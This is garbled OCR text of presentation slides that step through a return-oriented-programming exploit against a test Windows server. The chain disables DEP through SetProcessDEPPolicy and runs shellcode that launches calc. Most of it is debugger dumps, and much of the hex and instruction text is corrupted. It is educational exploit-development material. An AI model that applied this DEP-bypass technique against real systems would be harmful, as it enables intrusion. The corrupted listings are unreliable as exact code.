?7BESFAF 3D BABAF61A CHP EAX.1NFeB0600 enpty B.AADOPARORRAROOPAAAOOG
?7BESFi4  1AF2 DH. } . . . empty 0.0000BHANARANBERRANAA
?7BESFi6  C53F EDI.FWORD PTR DS§:[EDI] Modification of segment register enpty §.0RAARARARBAAARARAAARA
?7BESFi8 1361 3E ESP.DWORD PTR DS: [ECK+3E] enpty . ARARARRAPARRARARAARA
?7BESFIE 2D 1BEF3F3D EAR,3D3FEF1B empty . ABREPARARBARRARBRAAAR
77BESF20  BOBA BYTE PTIR DS:[EAX1.AL empty . ARARARRAPARRARARAARA
?7BESF22 % empty B.ARABBHARABRRABRRRBAG
?7?BESF23 b SH S8 empty 1.2519775166695187000e-312

[=3-T -l -1 Nl

77BESI2Z A2 8DC63FDE Egg BYTE PIR DS: [D@3FC68D1,AL 3971 oz
OBAA Cond B @B P Evr BOGB BB

77BESF2A ACHG EAX, EST } B27F Prec NEAR,53 Mask 1111

77BEGF2R CLD

77BEGF2C SUE AL.94

77RELF2E TN EAX.DX 1/0 command

H 5.

WS2HELP.719E25F3
7C81186F okiil kernel3d2.7C81106F
19E2528 WS2ZHELP.719E2528
7C8622A04 kernel32._SetProcessDEPPolicy
19F13FF Wg2_32.719F13FF
‘?19F7EBF Wg2_32.719F7EBF
19F3587 Wg2 32.719F3587
‘?19F7EBF Wg2_32.719F7EBF
?7ESD162 s RPCRT4.77E5D162
68510931
636C6163
258DB854
DBFF?C86
FFFFFF68
66785CFF
. B3248466 )
AP416108 . BB13FBAC 7CB1CB12 iii kernel32.ExitProcess




PRACTICAL EXAMPLE IN

° THE NEXT INSTRUCTION WILL: POP THE VALUE OXFFFFFFFF INTO.THE EBX REGISTER, WHICH WILL BE LATER
INCREMENTED TO -OBTAIN A:‘NULL DWORD

M YEZLF3 POP EBX +| Registers {FPU>
! 19E54 £ L BB13FC38
JIYEZLFY PUSH EBR A813FD5C UNICODE “hleServerUisualwWulnerahleServerUisual"

V19E2EFG 51 PUSH ECR 6180 o
719E26F7 BB 945B9E7L HOU EBR, USZHELP. 719E5894 po6100v2 UNICODE “lindNane

719E25FC  0D4D @0 MOU ECH.DWORD PIR 55: [EDP+81 991 3FEI8

719EZ5FF  §94B BB HOU DHORD PTR DS:[EBR+B1,ECK 20989890

719E2682 8943 B4 HOU DHORD PTR DS:[EBR+41.EAX 3720065

719E2685 B896B BC HOU DHORD PIR DS: [EBX+C1.EBP FrErrE

719E2688 FUSH EBP

Tsrac8 TUEn Tox 719E25F4 WSZHELP.719E25F4

719E2680 FUSH EAX 32bit BCFFFFFFFF}

719E268B FOP EAX ] 32hit BCFFFFFFFF>

719E268C FOP ECX 32hit BCFFFFFFFF)>

719E268D FOP EEP 32hit BCFFFFFFFF)

719E268E FOP ECX 33hit 7FFDFOBECFFE>

719E268F FOP EBX NULL

719E2618 C2 0480 4

719E2613 E4 3FP4FFEF WSZHELP. 749E1A57 StEre

719E2618 ~E9 2FP4FFEF US2HELP_719E{A4C LastErs ERROR_SUCCESS (BO0AAG00>

719E261D 6A §7 PUSH 57 BBBEA2E2 <NO,NB,NE, A, NS, PO, CE. G

F19E261F POP EA¥ ;

719E2628 ~E9 23P4FFFF \S2HELP.719E1048 o B Bo0aaaadnoaaaanmitas

M 9E2625 2DF4FFFF WE2HELP.719E1AS? enpty . AANPAPARAARARRABAARA

71962620 ~E9 S1FDFFFF WS2HELP . 719E2308 enpty B . HARGAGRAEAAAARANANAN

719E262F Ed 23P4FFFF WSZHELP . 719EL1A57 enpty B.AAASAGAARARAAAAARARA

719E2634 ~E9 BEFFFFF WS2HELP . 719E15D4 ennty 0 .AAGAAIRANARAGAARAARA

719E2639 Ed 19F4FFFF WSZHELP.719E1A57 enpty 0 .ARGAAARANARAGAARAARA

7L9EZ63E 9 22EFFFFF US2HELP .71 9E1565 enpty 1.2519775166695167080e-312
31218 ESPU

719kz64d BEOE Cond PO B O Err D00 B

79iz6as B27F Frec NEAR,52 Mask 11

719E2647 98 NOP

719E2648  33C@ HOR EAY.EAX

Retuen to 7CE11B6F (kernel32.7C81186F)

0ZD
i ] GT)
1114

Address |Hex dump 801 3FB?76 ISR kernel32.7C81186F
719E2528 WSZHELP.719E2528
7CB62204 kernel32.SetProcessDEPPolicy
719F13FF Ws2_32.719F13FF
719F7ERF Ws2_32.719F7EBF
719F3587 Ws2_32.719F3587
?19F7EBRF Ws2_32.719F7EBF
?7ESD182 4 RPCRT4.77E5D182
6851C931
63606163
258DB854
DBFF?(B6
FFFFFF68
66785CFF
B824@8466
7CB1CE12 kernel32 ExitProcess
9R9BDAFF oE

BA416180 Bo BB 2R9890%8




PRACTICAL EXAMPLE IN

. THE EBX REGISTER CONTAINS THE FLAG THAT WILL BE PASSED AS PARAMETER TO THE SETPROCESSDEPPOLICY
API

TCB1106F INC EBX +|Registers (FPU>
7C8110870 #A13FC3e
PCRI1071 7 ADD AL,BYTE PTR DS: [EAX] I wwerlis . werlisual”
7CB11073 OR DUORD FTR §5: [EBP—41,FFFFFFFF DHA3TRSC UNICODE | pleferverbisualulnerableServerlisual
7C811877 .“E9 BEFAFFFF kerne132.7C818A8A AOBEBEEE
70 0P WAL3FE74
3 90989690
; AR720065
g 60676067
oA ac 7C811078 kernel32.7C811878
. 68 2011817C  PUSH kernel32.7CB11120 ;
ES 4914FFFF kerne132.7c862406 1 Lt B
D RS B8 0 BUSH DUORD FIR i-(ERRAT g 2 Lt S
. + tring i
D68 BC11817C  PUSH kernel32.7CB1118C [ b e
. E8 9899FFFF kernel32 _ lstrcmpill
TEST EAX,EAX

)
. @F84 24EFOREE J& kernei32.7C81FFCA stEpr
FF75 08 PUSH DWORD PIR §5: [EBP+81 [snm g2 LastErr ERROR_SUCCESS <DBABABOR

Stringl = 32hit PFFDFBBA{FFF>
letrempill NULL

. 68 FCIBB17C  PUSH kernel32.7CB1i18FC Stringl = “CONOUTS™ 80888256 (MO,NB.E.BE,NS.PE,GE.LE>
. EECSHE‘?FFFF ir kernelgz.lstrcmpiu lstrcmpil! enpty B.00PERA0EARPARAEAAERE

ST EAX.EA enpty B.00A00RADARARARGREAEGEE
ACLEA3688 kernel32.7C846C67 enpty B.0AANDRARARARARARAAENG
E4 B2888C MOU DUORD PTR S5:[EEP-1C1.2 enpty B.ANANARBAEAEEAPADADAEA
FC FF OR DWORD PTR S8:[EEP-41,FFFFFFFF enpty | FARPABRANARANEARDRAR
@C FFFFFITEST DWORD PTR S8:[EBP+C1.3FFFFFFF enpty | FARPABRANARANBARBRAR

BIEFBEOR N7 kerne132.7CO1FFDG
14 FCPFFITEST DUORD PTR $S:[EBP+141, FFFFFFFC R L
31211 ES P

F6EE0BD0 kerne132.7C81FFD6 ﬁ 0ZD
14 PUSH DWORD PIR $8:[EBP+14] PBPA Cond B B B B Erwe aeea (GT>
PUSH DWORD PTR SS:[EBP+1@1 ] . s
PUSH DUORD PTR 88:[EBP+CI B827F Prec MEAR,52 Mas 1111
PUSH DUORD PIR £8:[EBP-1C]
kerne132.7CB1FFLB

LRI YEY 719E2528 (teq WSZHELP.719E2528
BE13FB78 70862204 fi"&! kernel32.SetProcessDEPPolicy
B@13FB?C 7P19F13FF q W82_32.719F13FF
B@13FB88 719F7EBF q '.!32 _32.719F7EBF
B@13FB84 719F3587 Ws2_32.719F3587
B@13FB88  719F7EBF Ws2_32.719F7EBF
@a13FBRC 77ESD1A2 Ebbw RPCRT4.77ESD162
B@13FB98  6851C%31 h
B@13FB94 636C6163
B013FB?8 258DBES4
B@13FB9C DAFF?C86
@@13FBAB  FFFFFFGB h
B@13FBA4  66785CFF  “xf
B@13FBAS BB240466 f0$'“
BA13FBAC 7C81CB12 i kernel32.ExitProcess
) B@13FBBA  909ADAFF
A@13FEB4 9@909@90
0041 6188 @01 3FBBS 9B9B9B9B 3




PRACTICAL EXAMPLE IN

. WE PUT THE ADDRESS OF SETPROCESSDEPPOLICY INTO EBP REGISTER

719E2528 POP EBP kerneld2.SetProcessDEPPolicy

719E2529

P1YEZLZA PUSH EBP

719E252B MOU EBP,ESP

719E252D PUSH EBX

719E252E

719E252F EDI

719E2538 EBP

719E2531 a

719E2533 6h 08 a

719E2535 68 42259EM WUS2HELP.719E2542

719E253n FF?% B8 DWORD PIR §5:[EBP+81

719E253D E8 4081EG008 {JMP.&ntd1l.RtlUnwind>

719E2542 5D BP

719E2543

719E2544

719E2545

719E2546

719E2548

719E2549 C3

719E254A 24 B4 MON ECH.DWORD PTR S8:[ESP+41

719E254E F741 @4 B6BABABI TEST DWORD PTR DS: [ECK+41.6

719E2555 BE 010000060 MOU En¥.1

719E255n 74 28 SHORT WS2HELP.719E2584

719E255C 8B4424 14 MOU EAX,.DWORD PTR S8:[ESP+141

719E2568 55 PUSH_EBP

719E2561 8B6E 18 MOU EBP.DWORD PTR DS:[EAK+1@1

719E2564 8BS0 28 HMOU EDA.DWORD PTR DS:[EAX+281

719E2567 52 PUSH _EDX

719E2568 8B50 24 MOU EDA.DWORD PIR DS:[EAX+241

719E256B 52 PUSH EDX

719E256C Ef 14000808 WS2HELP . 719E2585

719E2571  83C4 B8 ADD ESP.8

719E2574 5D

719E2575 8B4424 68 RD PTR S8:[ESP+81
2 2 28B5424 18 DR D D_PIR P+108

Stack [AB13IFB?81-?C8622A4 (kernel32.SetProcessDEPPolicy)

EBP=989890908

Address

88416668
884166818
88416828
884166838
88416848
88416858
88416868
88416878
88416888
AR416A98
88416008
B84166B8
B84168CH
88416808
B84168EA
B884168F8
08416108

«| Registers (F
B813FC38
B@13FD5C
808618872
BaREBERE
#@13FB78
989896898
Ba720065
886760867

719E2528
8023

LastErp
BePBB256

enpty B.
enpty
enpty
enpty
enpty
enpty
enpty
enpty

ABBEE  Co
W B27F Pp

|6@1 3FEYE I{H
Ba13FB7C 71
AA13FBRA 71
AA13FBR4 71
AA13FRRE 71
BA13FBAC 77
BA13FB90 68
BA13FB94 63
BA13FB98 25
BA13FBIC DA
BO13FBAA  FF.
BA13FBA4 66
B@13FBAS BE
B@13FBAC  7C:
AA13FBBA 970
BA13FBB4 90
BA13FBBE 90
BA13FBBC 70

Pl

UNICODE “hleServerlVisualsUulnerabhleServerUisual"
UNICODE "¥ndName"

WS2HELP.719E2528

32hit BCFFFFFFFF)
32hit B(FFFFFFFF)
32hit B(FFFFFFFF)
32hit B(FFFFFFFF)
32hit 7FFDFBBB{FFF>
NULL

ERROR_SUCCESS (PDBBABEA>
(MO.NB.E.BE.NS,PE.GE.LE)
BARRRARRARRRRARRRARA

BARRRARNERRRAARNEBRA
PRARRRNRRARAARNARDA

-IPARARARNANPAPARARA
-BAPARARARNARPARARABA
-AAPRRARARNARPAPRRAEA
-2519775166695107000e-312
3218 ESP

1
UoZDI
nd B A6 Ervr BBBBBBEAA (GI
ec MEAR.53 Mask 1141141

862204 i kerneld2.SetProcessDEPPolicy
9F13FF WE2 32.79F13FF
9F7ERF WE2_32_719F7ERF
9F3587 WE2_32_719F35087
9F7EBF 1"fq W82_32.71%F7ERF
E5D182 RPCRT4.77E5D182
51C931

606163

BDBES54

FF7C86

FFFF68

785CFF

248466

81CB12 15ii kerneld2.ExitProcess
9ADAFF o

890908 E

289090

289090




PRACTICAL EXAMPLE IN

. THE TWO NEXT STEPS WILL BE TO POP INTO ESI AND EDI A POINTER TO A RET INSTRUCTION, THIS WILL
SIMULATE A NOP SLED

| 719F13FF T3 POP ESI ! = 4| Registers (FPU>
?19EI4B [ex] @A13FC38
J1YF14u] B@13FDSC UNICODE “hleServerlisuals\UulnerableServerlisual®
88610872 UMICODE “WndMame"
BYTE PIR DS:[EAR].AL gg?ggggg
BYTE PTIR DS:[EAR1.AL 7C8622A4 kernel32.SetProcessDEPPolicy
EAK . 48B25D BA72 0065
BYTE PIR DS:[EARI.AL BA670067
BYTE PIR DS:[EDX+18A@A1E],BH
BYTE PTR DS:[EA¥1.AL 719F13FF WS2_32.719F13FF

AH,.DH ES @823 32bhit BCFFFFFFFF)
DWORD PTR D{_;:[ERH].EHH G5 A@1B 32hit BCFFFFFFFF)
BYTE PIR SS:[EBP],DH S8 8823 32hit B(FFFFFFFF)
E{Tf‘lPTR DS:[EAR 1. AL DS 8823 32hit B{FFFFFFFF)
» i :
2 BYTE PIR DS:[EAK].AL gg g;gg ﬂﬁkﬁt FRRDRODOCERE

Le08 EA% DUORD PTR DS [EAX] LastErr ERROR_SUCCESS (BB@GAGA0>
1D BOBB4610 EA%, 18400000 80008256 (NO,NB,E,BE, NS, PE,CE,LE>
8100 DYORD PTR D§:[EAX1,EAX
804400 08 2B BYTE PIR DS: [EAX+EAR 1,28 Snbty R
3E: 0060 EYTE PIR DS:LEAR].AL e . empty B.@0ADBEAOADRBAGEARAEE
a7 Modification of segment register enpty 0.0000E0RROORABRRAERORA
40 EDY :
8600 ADD BYTE PTR DS:[EAK1,AL A o naannanoaaanaan
68 6BA10A18 PUSH_168@661 0B enpty 0.BBANABADRAEOROEARAGD
3D BBOAEA16 CHP EAH, 46EABD0D enpty 1-25197751666951A76@3e-312
1.0D DWORD PR bS: [E11 uoze
Y : BABd Cond D BB O Err0BBOOB0O0 (G
2E:6000 ADD EYIE PTR CS:[EAX1.AL ‘ .
x o ErLE 827F Prec MEAR,53 Mask 11111
2E:6000 ADD BYTE PTR CS:[EAR1.AL
] FUSH EAX

fddress [[EJ Y] 719F7EBF 1 ~fg WS2_32.719F7EBF
00416000 0... UOLIFEEE P1YFISH7 : PIYF3S507
08416010 B N yid B813FB88 719F7EBF "fq W82 _32.719F7EBF
G841 6628 ) BB13FBBC 77ES5D182 BDIJU RPCRT4.77E5D162
GR416030 B ) BB13FB?@ 6851C931 1nhh
9A416048 BB13FB?4 63606163 calc
08416850 @B13FE?8  258DB854

BB13FB?C DAFF?C86

BB13FBAB  FFFFFF68

BB13FBA4  66785CFF

BB13FBAS  B824@466

BB13FBAC PCBICB12 35l kerneld2.ExitProcess

B013FBBA 9@YADOFF OEE

0B13FBB4 20987890

BA13FBB8 70787898

BA13FBBC 20907890

BA13FBCA 9@9@989Q
GB416160 B 13FC 209090




PRACTICAL EXAMPLE IN

. THE LAST STEP IS TO EXECUTE A PUSHAD INSTRUCTION. THIS WILL PREPARE OUR STACK TO SUCCESSFULLY CALL
SETPROCESSDEPPOLICY AND -AUTOMATICALLY SET THE RETURN POINTER FROM SETPROCESSDEPPOLICY TO OUR
SHELLCODE

PPESD1n2 ] PUSHAD | Registers <FPU>
??ELDLA @813FC38
TESDIHY El I[N EAR. DR 120 command " serlis ., suepllis "
P9EEDLES TF 57 SHORT RPCRT4.77ESDISE ggggggg Hu}ggg% "B%ga::n:?'l Uisual\WulnerahleServer isual
FPESD1B? CA11ES77 DYORD PIR DS:[<&KERMEL3Z.CreateThm kernel32.Createlhread [T (515 5 515 5]
TOESDIOR 2946 B8 FOU_DUGKD PTR DS: [ESI+81, A% oy
J H +81. . rocess i
77ESD112 F6C80208 RPCRT4. 77E89ADE e T
F7ESD118 7D FC CHP DUORD PTR £5:[EBP-41,EDI 719F7EBF W§2 32.719F7EBF
PPESDLI1E FBCBA208 RPCRT4.77E89A1C -
PPESDiZL EF POP EDI 77E5D162 RPCRT4.77E5D162

77ESD122 MOU EAR,ESI 3J2hit @B{FFFFFFFF)

77E5D124 SE POP ESI 32hit B(FFFFFFFF)
??ESD125 32hit B(FFFFFFFF)
77ESD126  CY LEAUE 32hit B{FFFFFFFF}

7?ELD127 ac ;
77ELDi2A 9@ aﬁkit ?FFDFBAA{FFF>

??ESD12E
PPESRDI2C stErr

77ESD12D LastErr ERROR_SUCCESS (@@0a@a0dy
77ESD12E NOP 68080256 <NO.MB,E.BE.NS,PE,GE,LE>

77ELD12F MOU EDI, EDI empty 0.000AEAEAEAAAAARARAAD
77ED131 55 PUSH_EBP empty B.00AAEAEAEAAAAARABAAD
77E5D132 MOU EBP,ESP empty B.0AAAEAEAEAAAAARABAAD
77EGD134 Egsu ESI empty B.0RAACAAAAAAAAARAAAAA

77ELD135  8BFL ESI,ECH empty B.0EAANARANDRANARENANG
??ESD137  8B4D B8 MOU EGH.DWORD PTR S8:[EBP+81 empty A.APNANADARAAAABABAADEA

??ESD13A  E8 PEB4FFFF RPCRT4.77ES85ED
77ESDI3F 8986 MOU DUORD PTR DS:[ESI1.EAR gﬂgg; %gg?gggg?ggggg?gggggg—a 2
77ESD141 POP ESI i ESP

1
1]
77E5D142 5D POP EBP #@B Cond Err 00080
77E5D143 6400 4 ' . o
oAy B27F Prec MEAR,53 Mask 11
77E5D147 NOP
77E5D148 NOP
D149

0ZD
a08
111

fiddress ilke)dipls] 6851C931

B B BA13FE?4 636C6163

g:iggg . 3 @813FB?8 258DBOS4

BA416820 . B813FB?C  DBFF7CB6

BA416A30 . B813FBAB FFFFFFG8

BA4166840 N @013FBA4 66785CFF

804160650 . BB13FBAS  BB24BA466 )
80416060 B BB13FBAC  7CB1CB12 kernel32.ExitProcess
pB416878 @B13FEBE ?BYBDAFF

pA416880 B813FER4 9890890

hA416890 . BB13FEBS 98989490

BA4168R0 . B813FBBC 28787078

BA416ABA . B813FBCE 28707070

BA416A8CA . BAL3IFBC4 28707070

BA4168D8 . B@13FBCE 28707090

804160EA . BBA13FBCC 98989890

BA4168FA . @B13FEDB 98894908

pA4161688 . 13FBD4 289090

aGon




PRACTICAL EXAMPLE IN

. OUR STACK IS NOW READY TO CALL SETPROCESSDEPPOLICY AND DEACTIVATE DEP

719 F7EEF G 4| Registers C(FPUD
Y1YF/ELH d AUR ES1,ES51 BB13FC38
PLIF?EC2 ~ SHORT WS2_32.719F7ER4 BAL3FDSC UNMICODE “hleServerlUisualulnerableServerUisual”

719F7EC4 PUSH_1 "
719F7EC6 8BCE MOU ECX,ESI 33&3333 UNICODE "ndName

TL9F7ECE B Eguuaa Ws2_32.719F9122 @@13FB78

T 9F7ECD ~ SHORT 11§2_32_719F7EER ?C8622A4 kernel32.SetProcessDEPPolicy
M IFIECF ag PUSH & 719F7EBF W82 32.719F7EBF

719F7EDL EDI ‘
719F7ED2 ~EB E? SHORT WS2_32.719F7EBR 719F7EBF WS2_32.719F7EBF
719F7ED NOP 7A9F7EBF WS2_32.719F7EBP

M 9F7EDS 4 32hit B{FFFFFFFF}
T19F7EDG 32hit B(FFFFFFFF)
TLIF7ED? 32hit B{FFFFFFFF}
T9F7EDS 32hit B(FFFFFFFF)

7L9F7EDY 60 14 1 i
7i9F7EDB 68 EB7POF7L  PUSH LS2_32.719F7FES Jinde VFEDFAAGCERRY

719F7EER F92FFLT WS2_32.719F11E0
J19F7EES  8BF1 MO ESI,ECK
71IF7EE? MOU DUORD PTR §S:[EEP-241,ES1
1 9F7EERA FF %OR EDI,EDI B8@BB256 (MO,NB,.E,BE.NS.PE,GE,LE>
719F7EEC MOU DUORD PTR £S:[EEP-201,EDI
719F7EEF MOU DUORD PTR 8S:[EBP-41,EDI Snpey - ponanoonosanoanoon0
719F7EF? LEA EAX.DYORD PTR DS:[ES1+241 enpty B.ANAAARAARRAAPAAGAAAR
JLIFIERS PUSH ERZ enpty 0.00BEADAAABEARAAABE0D
T19F7EF6 DUWORD PTR DS:[<&KERMEL32.Initialize¢ kerneld2.InitializeCriticalSection enpty . 9IEREPERENEPENOPRAR0E
719F7ERC FC FF OR DWORD PIR §%:[EEP-41 FFFFEFFF enpty .@NAAAAAARAARPAAGAAAR
7L9F7FO0  C646 06 61 10U BYTE PIR DSz [ESI+61,1 enpty A.AAAGAGAGAARARAAABAGR
719F7FA4  E3 ADPSFFEF ug2_32 . 719F74B6 enpty 1.2519775166695107098e 312
719F7FB9 8945 E@ MOU DUORD PTR £8:[EEP-201,ER%

CHP EAX,EDI

LastErr ERROR_SUCCESS (@0BADORE>

1
g UOZD
. ap )
@F84 DB24PBAR We2_32.719FA3EF ' ggg gf-gg ﬁEERasg ﬁ;:;ka ’ : ? ? ? ? «r
57 PUSH EDI "

PUSH EDI
TL9F?F16 PUSH 1

g D
Return to 7CB62204 (kel-n9132.etPPocassDEPPnlicy)

Address [Lik)ype] 7C8622A4 kernel32_SetProcessDEPPolicy
AA416888 [ AB13FB?C @@13FB9A gl
@0416818 . AA13FBEA AARAARAA -
aa416020 a o] o . R BBi3IFBE4  BE61BE7Z UNTCODE "UndName™
BR416630 Al 6B 5] B8 B8 68 Al . . BA13FBE8 @@A13FD5C UNICODE "bleServerUisualzUulnerableferverlUisual™
B04168408 . R @@13FBEC_ AA13FC18 -
AA416@58 . R @A13FBYA  6B51CH31
@0416868 . R AA13FB?4 636C6163
80416870 . R @@A13FB?8  250DBBS4
80416888 . R @@13FBYC  DAFF?CE6
a0416898 . R @@13FBAB  FFFFFFGE
An4168n08 . R @@13FBA4  66785CFF
88416080 . . @A@13FBAS  BB24B466 1
BR4160CH . . BA13FBAC 7C81CBi2 ii kerneld2.ExitProcess
88416808 . R 0013FBBA  9@?ADAFF |
B04168EB . R 0B13FBB4 90909890 £
Aa4168F8 . R OO13FBB8  9@7@7@90 |E
88416168 . : BA13FBBC  9@9A9H9 |EEEE
5 @AA13IFBCA  9@92A9@90




PRACTICAL EXAMPLE IN

. WE PLACE A BREAKPOINT AT THE RETN 4 INSTRUCTION WHICH IS THE END OF SETPROCESSDEPPOLICY

70862204 MOU EDI,EDI ¥ B »| Registers (FPU)

B@13FC38

PUSH_EBP
: 10U EBP, ESP : b leServerlic ) verllicual®
. 8B45 62 MOU EA%.DUORD PTR $8: [EBP+81 DULITDSE UNICODE [hleseruverlisualiUulnerableServerlisual

. A9 FCFFFFFF  TEST Enf,FFEFEFFC A80BeA0A
* 45 Gboomace  Push cobangED o are
" EB 3E i} SHORT kerne132.7C8622F9 TIORTERR \en 37 FioRRny e
. SHORT kerne132.7C0622D2 ASFTERE WS2_32.7ATF7ERR .
. A8 B2 TEST AL,2 7C8622A4 kernel32.SetProcessDEPPolicy
. C745 @6 B98@EEHOU DUORD PTR §5:[EBP+01,9 ;
D74 1A SHORT kerne132.7C0622E3 EE TS
. C745 @6 @DBAEHOU DUORD DTR S5:(EDP+D],@D 3%hit BCFFFFFFFF>
LEBid SHORT kernel32.7C8622E3 3%hit B{FFFFFFFF>
6h B2 PUSH 2 32hit 7FFDFBORCFFF)
. 59 POP ECH NULL
- 55k TESSHORT. Ferne132. 786228
. erne . 5 e
A0 e o SHOR kern LastEre ERROR_SUCCESS (P@BOAGEE)
" EB 18 SHORT kernel3?.7?CB622F8 BB@BB256 (MO,MB,E,BE.NS.PE,GE,LE>
894D 08 Ou DUORD PTR S5 (E6F+31. ECK empty O.0PREADAAEORAORAGAORADD
" gD45 88 LEA EA¥,DVORD PTR S8: [EBP+81 o1 oty B noaboooooa0aa08
T PUSH EAX enpty B.0PBEAPAGRRAARAGRRARD
D 6h 22 PUSH 22 enpty B.0PBEARAGRBAARAGRRARD

. 6 FF P
. FF15 2412807C DUORD PTR DS: [<Bntd11.NtSetInformat ntdll.ZuSetInformationProcess enpty B.00REA0AGARAABAGARAAD
B5CA TEST EAX,EAY enpty B.EPREARAABAABAAARAARA

D70 R SHORT kewne132.7C862301 e L TR T 0 z b
PUSH AR FST 0008 Cond 8060 Eer8000 000

OO EE

. 58
EB 1C71FAFF kernel32_7C80941% ¥ o s
” 3308 %0R EAX. FAX B27F Prec NEAR.53 Mask
. EB 83 SHORT kernel32.7C862304

HOR EAX.EAX

INC EAR

POP EBP

Address L)Y BE13FB?0 E

BA416000 B BULIFBYY  BUEBBEON

#A416018 ! ¢ 0013FB34  B@A610072 UNICODE “WndName"
An416020 A B@13FB88 B@13FD5C UNICODE "hleServerlisual\VulnerableServerlisual®
#a4160308 B@13FBEC  @A13FC38

AA416048 B@13FB9A  6B51C931

#A416050 BA13FB?4  636C6163

#A416060 B@13FB?8  25@DBBL4

#a416070 @B@13FBYC  DAFF?CE6

Wa416080 @@13FBAR  FFFFFFG8

#A416090 B@13FBA4  66785CFF

#A416000 B@13FBA8  BB24@466

#A4160BA @B@13FBAC  PCB1CB12

#a4160CH @@13FBBA  9@2ADAFF

#a4168D8 @@13FBB4 7877870

#a4160E0 @@131FBBE 7877870

#a4160F0 @@13FBBC  7@7@%8%0

WA4161 008 13FCB 908909828




PRACTICAL EXAMPLE IN

. NOW WE ARE ABLE TO REACH OUR SHELLCODE AND IT WILL SUCCESSFULLY GET EXECUTED WITHOUT ANY ACCESS
VIOLATION FAULT

B! 31C2 HZ0R ECX.ECX | Registers (FPU2
WA1i3FE?Z SN PUSH EGA BEARABA1
GOIIFRIE S4 - . BUSH ESP et
@a13FBY? B @AD25867C MOU Ef¥,kerneld2.WinExec Egé&gég ntdll-KifastSystenCallRet
@a13FBYE  FFDA EAR B@13FBB4

Ba13FBAA g(ﬂ: FFFFFFFF PUSH 1 70862204 kernel3d2.SetProcessDEPPolicy

Ba13FBAS POP ESP '
BA13FBAG 78 66 SHORT B@13FCAE 3{353255 tigzjgggiggggg{:

PAL3FBAS  66:84 24 ADD AL, 24

ggg;ggg E%Dézcnsﬂc MOU Egzikernelﬂ.ExitPrucess B@13FB92

agi3FER2 90 33hit BCFPFRFRRRS
BO13FBB3 90 32bit BCFFFFFFFF)
BO13FBB4 90 32bit BCFFFFFFFF)

B@13FBBS 90 i A
B@13FBBe 90 aﬁzit 7FFDFBBB{FFF >

WA13FBB? 98

WA13FBBE 90 stEpw

@A13FBBY 90 LastErr ERROR_SUCCESS (@BBODBOE>
WA13FBBA 9@ BB0PAZ46 (NO.NB.E.BE.NS.PE,GE,LE}

WA13FBBB 98 enpty B.AEARRARRBAARRARADRAA
WA13FBBC 978 enpty B.AEARRARRBAARRARAORAA
WA13FBBD 98 S12 enmpty B.00AARBEAARARADRAARAA
WA13FBBE 98 enpty B.AEARRARRBAARRARAOAAA
BA13FBBF 98 enpty B.ABA00ARRBAARNARAORAA
BA13FBCA 98 enpty B.ABA00ARRBAARNARAORAA
BA13FBC1L 98 enpty B.0BA00ABRBAARNARAORAG
BA13FBCZ 98 enpty 1.25197751666951 07000312
BA13FBC 98 321 ESPU
BA13FBC4 98 BBBA Cond B A B Err 0800
11

BA13FBCS 98 ! o s
@a13FBCL 98 @27F Prec MEAR.53 Mask

BA13FBC? 98
BA13FBCE 98
BA13FBCY 98
BA13FBCA 98
BA13FBCE %!

0z
aa
11

BA61MA72 r.a. UNICODE “WndName'
B@13FD5C UNICODE “hleServerlisualsUulnerahleServerUisual"
B@A13FC38
6851C931
63606163
250DB854
DAFF7CB6
FFFFFF68
66785CFF
B8240466
7GB1CB12 331 kernel32.ExitProcess
9820DEFF
28209820 £
28209820 £
28209820 £
] 28209820 £
98209890 £
@04161 08 BB13FBCE 98909098 E
oo D Qpannaoo
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INFORMATION SECURITY SOLUTIONS

FINALLY OUR SHELLCODE IS EXECUTED WITHOUT ISSUES. LET'S TRY THE EXPLOIT WITHOUT A DEBUGGER

BE13FBY@
BE13FB92
BA13FB93
BA13FB78
BA13FB??
BA13FBYE
BA13FBAA
BA13FBAS
BA13FBAG
BA13FBAS
BAE13FBAB

B813FBB2
@81 3FBB3
B813FBB4
881 3FBBS
881 3FBB6
881 3FBB?
881 3FBBE
881 3FBB?
881 3FBBA
881 3FBBB
881 3FBBC
@81 3FBBED
@81 3FBBE
@d1 3FBBF
AA13FBCA
AA13FBC1
AA13FBC2
AA13FBC3
AA13FBC4
A1 3FBCS
A1 3FBCE
Bd13FBCY
Bd13FBCE
B@13FBCY
B@13FBCA
B813FBCB

31C9
51
68 63616C63

54

BE BD25867C
FFD@

68 FFFFFFFF
5C

78 b6
6h:A4 24
B8 12CBB17C

WOR ECH_ECH
PUSH ECX
PUSH 636C6163
PUSH ESP
HOU EAR . kernel3d2 WinExec
EfAR
PUSH -1
POP ESFP
SHORT B@13FCAE
ADD AL,.24
MOU EAX.kernel32 . ExitProcess
EAx kerneld2 . ExitProcess
NOF

HOP E Calculatrice
:glP, Edition  Affichage
HOP
HOP
:gg i Hex 0 [Déc et i Bin
HOP

HOP

HOP

HOP

HOP

HOP

NOP

NOP

NOP

O | e e e
O o
v | A el T N W

NOP
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WE CAN EFFECTIVELY EXECUTE OUR SHELLCODE BYPASSING DEP AND ASLR PROTECTIONS

Console

Wisual*wulnerabhleserwveryvisual . cwDebugzvulnerableservervisual . c.ex
Fine :]!

Edition Affichage

|r' Hex f* Déc € Oct © Bin " Degrés

||_ I [~ Hyp | I I

" Radians " Grades

R etour arrigre CE C

Sta FE [

Le

Sum

36 444 o vy
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INFORMATION SECURITY SOLUTIONS

"DEP AND ASLR ARE DESIGNED TO.INCREASE AN ATTACKER'S EXPLOIT DEVELOPMENT COSTS
"ASLR IS EASY BYPASSED IF WE CAN COUNT ON MEMORY MODULES WHICH DO NOT HAVE THIS FEATURE TURN ON

"THE RETURN ORIENTED PROGRAMMING CAN BE USED TO WITH NO TROUBLE GET AROUND DEP PROTECTIONS

"THIS TECHNIQUES CAN BE ALSO USED IN OTHERS WINDOWS FLAVORS SUCH AS WINDOWS VISTA OR WINDOWS 7
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HTTP://WWW.UNINFORMED.ORG/?V=2&A=4&T=TXT
HTTP://SUPPORT.MICROSOFT.COM/KB/875352
HTTP://TECHNET.MICROSOFT.COM/EN-US/LIBRARY/BB457155.ASPX
HTTP://TECHNET.MICROSOFT.COM/EN-US/LIBRARY/CC738483%28WS.10%29.ASPX
HTTP://MSDN.MICROSOFT.COM/EN-US/LIBRARY/MS633548%28V=VS.85%29.ASPX
HTTP://OPCODE.TUXFAMILY.ORG/?P=430
HTTP://WWW.CS.BHAM.AC.UK/~COVAM/BLOG/BINARY/
HTTP://WWW.CORELAN.BE

WINDOWS INTERNALS FOURTH EDITION

HTTPS://WWW.BLACKHAT.COM/PRESENTATIONS/BH-USA-
